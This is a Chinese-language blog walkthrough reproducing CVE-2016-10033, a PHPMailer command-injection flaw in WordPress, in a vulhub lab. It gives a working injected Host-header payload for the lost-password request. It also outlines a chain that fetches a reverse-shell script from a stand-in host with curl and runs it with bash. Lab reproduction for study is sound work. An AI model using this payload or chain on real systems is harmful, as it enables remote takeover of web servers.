CVE-2016-10033 WordPress <= 4.6 命令执行漏洞

漏洞参考

https://www.jianshu.com/p/85ac4af9f947

漏洞信息

这个锅还是要PHPMailer背(CVE-2016-10033,WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

 

前提条件

WordPress <= 4.7.1 

PHPMailer < 5.2.18

需要知道一个存在的用户名,比如admin.

命令需要使用绝对路径

复现环境

https://github.com/vulhub/vulhub/tree/master/wordpress/pwnscriptum

 

访问搭建好的环境:ip:8080   进行wordpress安装

 

进去poc利用有几点需要注意

我们需要满足以下要求才能利用此漏洞:

  1. 执行的命令不能包含一些特殊的字符,例如:'"等。
  2. 该命令将转换为小写字母
  3. 该命令需要使用绝对路径
  4. 需要知道一个现有的用户名

为了解决这些问题,漏洞作者提出了$ substr{0}{1}{$spool_directory}}而不是/,使用${substr{10}{1}{$tod_log} }了替换空格的方法。

但是,仍然有很多字符无法使用。因此,我们需要将该命令放在第三方网站上,然后通过将其下载到/tmp目录中curl -o /tmp/rce example.com/shell.sh

因此,展开过程如下:

  1. 编写反向外壳的exp并将其放在站点上。exp具有以下要求:
  • 整个url的大写字母将转换为小写,因此文件路径中不应包含大写字母。
  • 无法重定向对此页面的访问,因为跟随重定向的参数为-L(大写)。
  1. 拼接命令/usr/bin/curl -o/tmp/rce example.com/shell.sh/bin/bash /tmp/rce

  2. /命令中的空格和转换${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}

  3. 产生HTTP Host标头:target(any -froot@localhost -be ${run{command}} null)

  4. 依次发送这两个数据包。

这是expliot.py,更改target为目标站点,更改现有user用户名,更改shell_url为有效负载站点。

 

访问这个  /wordpress/wp-login.php?action=lostpassword  进行抓包

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.php}} null)

 

 

 

 在/tmp下文件创建成功。

root@990b6f7e34bb:/tmp# ls -al

total 8

drwxrwxrwt 1 root     root     4096 Aug 23 10:46 .

drwxr-xr-x 1 root     root     4096 Aug 23 08:48 ..

-rw—---- 1 www-data www-data    0 Aug 23 10:44 test.php

 

posted @ 2020-04-13 10:40  Null1433  阅读(794)  评论(0编辑  收藏  举报